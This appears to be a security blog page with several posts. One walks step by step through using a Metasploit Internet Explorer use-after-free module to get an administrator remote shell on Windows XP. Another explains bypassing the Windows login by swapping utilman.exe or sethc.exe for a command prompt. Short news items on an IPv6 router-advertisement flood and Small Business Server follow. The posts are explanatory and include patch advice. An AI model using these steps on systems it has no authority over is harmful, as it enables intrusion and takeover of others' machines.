Latest Internet Explorer Zero-Day Exploit Walkthrough using Metasploit

IE Zero Day 2

The end of the year saw several zero day exploits being released. One for RealPlayer version 15 and under, one for Nvidia Video Cards, and what we will focus on today, a remote exploit for Internet Explorer Version 6-8. The Internet Explorer Zero-Day exploit that was publicly acknowledged on December 29th, affects Windows XP SP3, Vista, Windows 7 and Server 2003 and 2008. Systems running IE 9 and 10 are not affected.

The exploit code has been publicly released and has already been added to Metasploit. We will demonstrate the exploit using Backtrack 5r3 and a Windows XP sp3 system.

So let’s get started.

  • Boot up your Backtrack 5 system and run the msfupdate command to make sure you get the latest exploits.

(Had a heck of a time with running the updates lately. Most recently it seemed to hang on updating an outlook.rb file. I got by it earlier by deleting the file and re-running the update. But for this example we won’t be needing it, so you can just hit (p) for postpone if it hangs on updating it.)

  • Next start the msfconsole.
  • Now you can search for the internet explorer exploit by typing “search internet explorer” or by just typing it in as below.

At the msf> prompt type:

  • use exploit/windows/browser/ie_cbutton_uaf

Then type “show options” to see what options can be set:

IE Zero Day 2

Okay, we will need to set the SRVHOST option to point to our Backtrack system. And we can change the URIPATH to something else other than random if we want. But first, let’s set the target as it defaults to Windows 7, and our target in this example is a Windows XP system:

IE Zero Day 1

Next, set the IP address of your Backtrack system:

  • set SRVHOST 192.168.0.120

And finally run the exploit:

  • exploit

IE Zero Day 4-1

Okay, at this point Metasploit starts up the Apache web server,creates the exploit and creates a random page to host it on. Now all we need is to surf to the URL given to us by Backtrack 5 using Internet Explorer on the Windows XP system:

IE Zero Day 3

That is it!

As soon as the user surfs to our Backtrack page, the exploit is run and a remote session is created:

IE Zero Day 4-2

(Note: There were no real warnings or alerts on the Windows XP side. It just seemed that the webpage didn’t do anything.)

We can type “sessions -l” to list all the remote shell sessions that Backtrack has created.

IE Zero Day 5

As you can see our Windows XP session is listed. Now if we simply connect to the session interactively (sessions -i 1), and run “getuid” we see that we have an administrator level shell:

IE Zero Day 6

And simply running “shell” drops us into the full remote shell:

IE Zero Day 7

So how do we stop this attack? If you are running older versions of Internet Explorer, UPDATE NOW! This attack does not work against the latest version of IE. Microsoft was supposed to release a patch for older IE versions today, to stop this attack, but they didn’t do it.

And with the fix really being to simply upgrade to the newest version, they probably won’t any time soon.

The fix is also the same with the RealPlayer and Nvidia Zero-days that I mentioned earlier. Simply download the latest updates of the software to protect against the exploits.

New “Flood_Router26” IPv6 attack takes down Mac OS X and Server 2012

Sam Bowne, Ethical Hacking instructor at City College San Francisco has released a crazy video showing two of the latest IPv6 Router Advertisement attacks from the THC-IPv6 attack toolkit. And from what it looks like, these attacks work against both Mac and Microsoft systems.

In the second part of the video, the “Flood_Router26” RA attack first takes down a Mac OS X’s network interface and then throws the Mac into a spinning “Circle of Death”. A Windows XP system hooked to the network went to 100% resource usage and when the 2012 Server is checked, it actually rebooted!

More information about this attack, screenshots, packet captures and instructions can be found here.

WARNING! Do not attempt this on a live network!

Crazy! Hopefully Apple and Microsoft addresses this issue quick!

How to Log into Windows without the Password

I covered this topic last year (Windows Backdoor: System Level Access via Hot Keys) but just ran into this again recently. How do you gain access to a Windows system that you have legitimately lost the password to?

Well, there seems to be a couple utilities out there that claim to allow you to do this. We tried a Linux Live-CD based, one that was supposed to allow you to change any Windows password. But it didn’t work.

I even tried Kon-Boot, both the CD based and USB flash drive variety. Kon-boot sounds very cool, and comes highly recommended. You boot Kon-Boot first, then after it is booted, it loads your OS. Then you can put in any password, or hit enter and it bypasses the login and allows you into the users account. It is supposed to work on Windows and Linux systems. But unfortunately it also did not work on my systems.

What to do? Well, I figured I would give my article from last year a shot to see if it still worked. (Okay, just a quick disclaimer. Do not do this on a system that you do not own, or have permission to modify. And messing with system files could leave your system in an unstable state, if you chose to continue, you do so at your own risk.)

So I booted into Ubuntu, went to the Windows System 32 directory, renamed utilman.exe to utilman.old, copied cmd.com to utilman.exe and rebooted.  At the Windows log in prompt I hit the “Windows”+”U” key and open pops a system level command prompt. From here you can type any windows command, add users, etc.

The funny part is you can type “explorer.exe”, hit enter and a you get a System level desktop. From here you can open Internet Explorer, and surf the web. And while you are doing all this, the Windows login screen dutifully stays in the background  protecting(?) your system.

I found the Utilman modification solution on Microsoft’s Technet site, but it is not the only one that works. A comment on last year’s post pointed me to another trick on Adam’s Technical Journal.  Modifying the “Sethc.exe” command in the same way also allows you to bypass the Windows login screen. The “sethc” file is for the Windows Sticky Keys function. Under normal operation, if you hit the Shift key something like 5 times in a row, the sticky key dialog box will pop up.

Doing so when the sethc file has been replaced with a copy of command.com, opens up a system command prompt at the login screen, just like the utilman modification above.

This process still works on a fully patched and updated Windows 7 system. When I checked it last year, it also worked on all of Windows server products. Windows protects these system files from being modified when Windows is booted, but booting in Linux to alter them just takes a couple minutes at most.

These techniques can be a life saver if you have lost the password to an important system, but it also goes to show that strong physical security is also needed when securing your systems.

Windows Small Business Server Moving to the Cloud

Very interesting article in the October issue of Redmond Channel Partner magazine. It looks like the next version of Small Business Server will come in two distinct flavors.

Windows Small Business Server 2011 Standard (SBS 7) will be the standard brick and mortar version of Small Business Server that many companies have come to know and love.

But Microsoft will also release Windows Small Business Server 2011 Essentials (SBS “Aurora”) to offer a Cloud based solution to small businesses.

Aurora will handle Active Directory, print services and storage locally, while going to the cloud for everything else.

Traditionally, SBS server was for small businesses, ranging from 5 to 25 users. Microsoft realized that these companies usually do not have the time or resources to devote full time IT support to keep all of the features up and running.  Their solution, use the cloud.

Features like Exchange, SharePoint, Office Live Meeting and Office Communications Online will be available through the cloud. Also Microsoft is releasing a Software Development Kit to encourage third party vendors to create additional cloud applications for SBS users.

This will definitely be worth keeping an eye on. Microsoft does offer a beta of SBS Aurora. The only problem is that RCP Magazine reports that the beta requires 160 GB of hard drive space! That is pretty extreme when most virtual machines run in 5GB to 20 GB space.

I have never been a fan of Cloud Computing due to the security issues, but it will be interesting to see if Microsoft can pull off merging SBS and the cloud.